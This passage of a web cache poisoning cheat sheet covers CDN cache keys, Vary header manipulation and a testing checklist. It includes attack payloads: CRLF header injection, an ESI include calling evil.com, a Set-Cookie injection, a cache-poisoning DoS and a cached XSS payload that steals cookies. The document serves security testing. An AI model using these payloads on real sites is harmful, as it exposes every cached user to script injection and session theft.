# Cache status header: x-cache (Hit from cloudfront / Miss from cloudfront)
|
|
370
|
+
# Also: x-amz-cf-id, x-amz-cf-pop
|
|
371
|
+
|
|
372
|
+
# Default cache key: Host + URI path + query string
|
|
373
|
+
# Query strings: can be configured (all, none, whitelist)
|
|
374
|
+
# Headers in key: configurable via Cache Policy (Host, Accept, etc.)
|
|
375
|
+
# Cookies in key: configurable (all, none, whitelist)
|
|
376
|
+
|
|
377
|
+
# Gotchas:
|
|
378
|
+
# - Default: query strings NOT in cache key (must configure)
|
|
379
|
+
# - Default: cookies NOT in cache key
|
|
380
|
+
# - Can whitelist specific headers/cookies into key
|
|
381
|
+
|
|
382
|
+
# Poisoning opportunity:
|
|
383
|
+
# If query strings excluded → append reflected param → poison
|
|
384
|
+
# If X-Forwarded-Host not in key but reflected → classic poisoning
|
|
385
|
+
```
|
|
386
|
+
|
|
387
|
+
### 6.3 Akamai
|
|
388
|
+
|
|
389
|
+
```
|
|
390
|
+
# Cache status header: X-Cache (TCP_HIT, TCP_MISS)
|
|
391
|
+
# Also: X-Akamai-Request-ID
|
|
392
|
+
|
|
393
|
+
# Cache key (default): Host + path + query (configurable)
|
|
394
|
+
# "Cache ID Modification" feature: custom key composition
|
|
395
|
+
# "Remove Vary Header" feature: strips Vary
|
|
396
|
+
|
|
397
|
+
# Interesting behaviors:
|
|
398
|
+
# - Pragma: akamai-x-cache-on (enable cache debug)
|
|
399
|
+
# - Pragma: akamai-x-get-cache-key (reveal cache key)
|
|
400
|
+
# - Akamai-Transform header (can affect response)
|
|
401
|
+
# - True-Client-IP (unkeyed, may be reflected)
|
|
402
|
+
|
|
403
|
+
# Revealing cache key (if debug enabled):
|
|
404
|
+
curl -H "Pragma: akamai-x-get-cache-key" https://target.com/ -v
|
|
405
|
+
```
|
|
406
|
+
|
|
407
|
+
### 6.4 Varnish
|
|
408
|
+
|
|
409
|
+
```
|
|
410
|
+
# Cache status header: X-Varnish (two IDs = HIT, one ID = MISS)
|
|
411
|
+
# Also: Age, Via (varnish)
|
|
412
|
+
|
|
413
|
+
# Default cache key: req.url (path + query)
|
|
414
|
+
# VCL customization: hash_data() in vcl_hash
|
|
415
|
+
# Default: does NOT cache requests with Cookie header
|
|
416
|
+
|
|
417
|
+
# Interesting behaviors:
|
|
418
|
+
# - obj.hits indicates number of cache hits
|
|
419
|
+
# - X-Varnish-Cache header (custom)
|
|
420
|
+
# - Builtin: strips If-Modified-Since on cache hit
|
|
421
|
+
|
|
422
|
+
# VCL key inspection:
|
|
423
|
+
# If you have access to VCL config, look at vcl_hash for key composition
|
|
424
|
+
# sub vcl_hash {
|
|
425
|
+
# hash_data(req.url);
|
|
426
|
+
# hash_data(req.http.host);
|
|
427
|
+
# }
|
|
428
|
+
```
|
|
429
|
+
|
|
430
|
+
### 6.5 Fastly
|
|
431
|
+
|
|
432
|
+
```
|
|
433
|
+
# Cache status header: X-Cache (HIT, MISS)
|
|
434
|
+
# Also: X-Served-By, X-Cache-Hits, X-Timer
|
|
435
|
+
|
|
436
|
+
# Fastly uses Varnish under the hood
|
|
437
|
+
# VCL-based configuration
|
|
438
|
+
# Default cache key: URL + Host
|
|
439
|
+
# Surrogate-Control header: overrides Cache-Control for CDN
|
|
440
|
+
# Fastly-Debug: 1 (if enabled → reveals cache details)
|
|
441
|
+
|
|
442
|
+
# Interesting behaviors:
|
|
443
|
+
# - Surrogate-Key header for purge targeting
|
|
444
|
+
# - stale-while-revalidate support
|
|
445
|
+
# - ESI (Edge Side Includes) support — can be attack vector
|
|
446
|
+
```
|
|
447
|
+
|
|
448
|
+
### 6.6 CDN Cache Key Comparison
|
|
449
|
+
|
|
450
|
+
| CDN | Default Cache Key Components | Query String Default | Cookie Default |
|
|
451
|
+
|---|---|---|---|
|
|
452
|
+
| Cloudflare | Host + path + query | Included | Excluded |
|
|
453
|
+
| CloudFront | Host + path (query configurable) | Excluded by default | Excluded |
|
|
454
|
+
| Akamai | Host + path + query | Included | Excluded |
|
|
455
|
+
| Varnish | URL (path + query) | Included | Excluded (no cache with Cookie) |
|
|
456
|
+
| Fastly | Host + URL | Included | Excluded |
|
|
457
|
+
| Nginx (proxy_cache) | `$scheme$proxy_host$request_uri` | Included | Excluded |
|
|
458
|
+
|
|
459
|
+
---
|
|
460
|
+
|
|
461
|
+
## 7. VARY HEADER MANIPULATION
|
|
462
|
+
|
|
463
|
+
### 7.1 How Vary Works
|
|
464
|
+
|
|
465
|
+
The `Vary` header tells caches which request headers affect the response. Cache must store separate entries for different values of Vary'd headers.
|
|
466
|
+
|
|
467
|
+
```http
|
|
468
|
+
HTTP/1.1 200 OK
|
|
469
|
+
Vary: Accept-Encoding, Accept-Language
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
This means: cache must key on `Accept-Encoding` AND `Accept-Language` values.
|
|
473
|
+
|
|
474
|
+
### 7.2 Cache Partitioning Attack
|
|
475
|
+
|
|
476
|
+
If `Vary` doesn't include a header that the application uses to generate different content:
|
|
477
|
+
|
|
478
|
+
```http
|
|
479
|
+
# Application returns different content based on User-Agent:
|
|
480
|
+
GET / HTTP/1.1
|
|
481
|
+
User-Agent: Mozilla/5.0 (mobile)
|
|
482
|
+
→ Returns mobile version
|
|
483
|
+
|
|
484
|
+
GET / HTTP/1.1
|
|
485
|
+
User-Agent: Mozilla/5.0 (desktop)
|
|
486
|
+
→ Returns desktop version
|
|
487
|
+
|
|
488
|
+
# If Vary does NOT include User-Agent:
|
|
489
|
+
# Cache stores one response for all User-Agent values
|
|
490
|
+
# Attacker can poison mobile users with desktop content (or vice versa)
|
|
491
|
+
```
|
|
492
|
+
|
|
493
|
+
### 7.3 Vary Header Injection
|
|
494
|
+
|
|
495
|
+
If attacker can influence the Vary header value:
|
|
496
|
+
|
|
497
|
+
```http
|
|
498
|
+
# Application sets Vary based on request:
|
|
499
|
+
Vary: Accept-Encoding, X-Custom-Header
|
|
500
|
+
|
|
501
|
+
# If attacker adds X-Custom-Header:
|
|
502
|
+
GET / HTTP/1.1
|
|
503
|
+
X-Custom-Header: unique-value
|
|
504
|
+
|
|
505
|
+
# Cache creates new partition for this unique value
|
|
506
|
+
# Attacker poisons only this partition
|
|
507
|
+
# Then links victim to URL with same X-Custom-Header value
|
|
508
|
+
```
|
|
509
|
+
|
|
510
|
+
### 7.4 Vary: * (Wildcard)
|
|
511
|
+
|
|
512
|
+
```http
|
|
513
|
+
Vary: *
|
|
514
|
+
```
|
|
515
|
+
|
|
516
|
+
Tells cache to never serve cached version. Some caches respect this, others ignore it.
|
|
517
|
+
|
|
518
|
+
| CDN | Vary: * Behavior |
|
|
519
|
+
|---|---|
|
|
520
|
+
| Cloudflare | Does not cache |
|
|
521
|
+
| CloudFront | Does not cache |
|
|
522
|
+
| Varnish | Depends on VCL config |
|
|
523
|
+
| Nginx | Does not cache (default) |
|
|
524
|
+
|
|
525
|
+
### 7.5 Missing Vary as a Vulnerability
|
|
526
|
+
|
|
527
|
+
```
|
|
528
|
+
# Application returns personalized content:
|
|
529
|
+
GET /dashboard HTTP/1.1
|
|
530
|
+
Cookie: session=USER_A_TOKEN
|
|
531
|
+
→ Returns User A's dashboard
|
|
532
|
+
|
|
533
|
+
# If response lacks Vary: Cookie AND cache stores it:
|
|
534
|
+
# → User B requests /dashboard → gets User A's cached dashboard
|
|
535
|
+
# This IS cache deception (without the victim needing to visit a crafted URL)
|
|
536
|
+
```
|
|
537
|
+
|
|
538
|
+
---
|
|
539
|
+
|
|
540
|
+
## 8. ADVANCED TECHNIQUES
|
|
541
|
+
|
|
542
|
+
### 8.1 Cache Poisoning via Error Pages
|
|
543
|
+
|
|
544
|
+
```http
|
|
545
|
+
# Trigger a 404 with injected content:
|
|
546
|
+
GET /nonexistent%0D%0AX-Injected:%20yes HTTP/1.1
|
|
547
|
+
Host: target.com
|
|
548
|
+
|
|
549
|
+
# If 404 page reflects the requested path and is cached:
|
|
550
|
+
# All users requesting this path get the injected error page
|
|
551
|
+
```
|
|
552
|
+
|
|
553
|
+
### 8.2 Edge Side Includes (ESI) Injection
|
|
554
|
+
|
|
555
|
+
```http
|
|
556
|
+
# If CDN supports ESI and reflects unkeyed input:
|
|
557
|
+
GET / HTTP/1.1
|
|
558
|
+
X-Forwarded-Host: evil.com
|
|
559
|
+
|
|
560
|
+
Response:
|
|
561
|
+
<esi:include src="http://evil.com/xss.html"/>
|
|
562
|
+
|
|
563
|
+
# ESI is processed by the cache/CDN → fetches and includes evil content
|
|
564
|
+
```
|
|
565
|
+
|
|
566
|
+
### 8.3 Poisoning via Response Header Injection
|
|
567
|
+
|
|
568
|
+
```http
|
|
569
|
+
# If unkeyed header is reflected in response headers:
|
|
570
|
+
GET / HTTP/1.1
|
|
571
|
+
X-Custom: value\r\nSet-Cookie: admin=true
|
|
572
|
+
|
|
573
|
+
# Response:
|
|
574
|
+
X-Custom: value
|
|
575
|
+
Set-Cookie: admin=true
|
|
576
|
+
|
|
577
|
+
# Cached → all users get the injected Set-Cookie
|
|
578
|
+
```
|
|
579
|
+
|
|
580
|
+
### 8.4 Web Cache Poisoning DoS
|
|
581
|
+
|
|
582
|
+
```http
|
|
583
|
+
# Poison response to return 403/500/redirect:
|
|
584
|
+
GET / HTTP/1.1
|
|
585
|
+
X-Forwarded-Host: thisdoesnotexist.com
|
|
586
|
+
|
|
587
|
+
# If origin tries to load resources from thisdoesnotexist.com:
|
|
588
|
+
# Response has broken resources → cached → DoS for all users
|
|
589
|
+
```
|
|
590
|
+
|
|
591
|
+
### 8.5 Chaining Cache Poisoning + XSS
|
|
592
|
+
|
|
593
|
+
```http
|
|
594
|
+
# Step 1: Find unkeyed header reflected in HTML
|
|
595
|
+
GET /page HTTP/1.1
|
|
596
|
+
X-Forwarded-Host: "><script>alert(document.cookie)</script>.com
|
|
597
|
+
|
|
598
|
+
# Step 2: Response (if reflected unsanitized):
|
|
599
|
+
<link rel="canonical" href="https://"><script>alert(document.cookie)</script>.com/page">
|
|
600
|
+
|
|
601
|
+
# Step 3: Cache stores this response
|
|
602
|
+
# Step 4: All users visiting /page execute attacker's JavaScript
|
|
603
|
+
```
|
|
604
|
+
|
|
605
|
+
---
|
|
606
|
+
|
|
607
|
+
## 9. TESTING CHECKLIST
|
|
608
|
+
|
|
609
|
+
```
|
|
610
|
+
□ Identify cache layer and CDN product
|
|
611
|
+
- Check: X-Cache, cf-cache-status, Age, Via, X-Varnish, X-Served-By
|
|
612
|
+
□ Determine cache key composition
|
|
613
|
+
- Test: adding query params, headers, cookies — does cache key change?
|
|
614
|
+
□ Discover unkeyed inputs
|
|
615
|
+
- Headers: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, True-Client-IP
|
|
616
|
+
- Parameters: utm_*, fbclid, gclid, callback, jsonp
|
|
617
|
+
- Body: GET request with body parameters
|
|
618
|
+
□ Check reflection of unkeyed inputs
|
|
619
|
+
- In HTML body, JavaScript, response headers, redirect Location
|
|
620
|
+
□ Verify caching of poisoned response
|
|
621
|
+
- X-Cache: HIT on follow-up clean request
|
|
622
|
+
- Response still contains poison → confirmed
|
|
623
|
+
□ Test parameter cloaking
|
|
624
|
+
- Semicolon separator differences
|
|
625
|
+
- Duplicate parameter handling
|
|
626
|
+
□ Check Vary header
|
|
627
|
+
- Missing Vary: Cookie on personalized content?
|
|
628
|
+
- Can influence Vary header value?
|
|
629
|
+
□ CDN-specific tests
|
|
630
|
+
- ESI support?
|
|
631
|
+
- Debug headers enabled?
|
|
632
|
+
- Cache key reveal features?
|
|
633
|
+
□ Impact assessment
|
|
634
|
+
- Stored XSS via cache poisoning?
|
|
635
|
+
- Account takeover via session fixation?
|
|
636
|
+
- DoS via broken resources?
|
|
637
|
+
```
|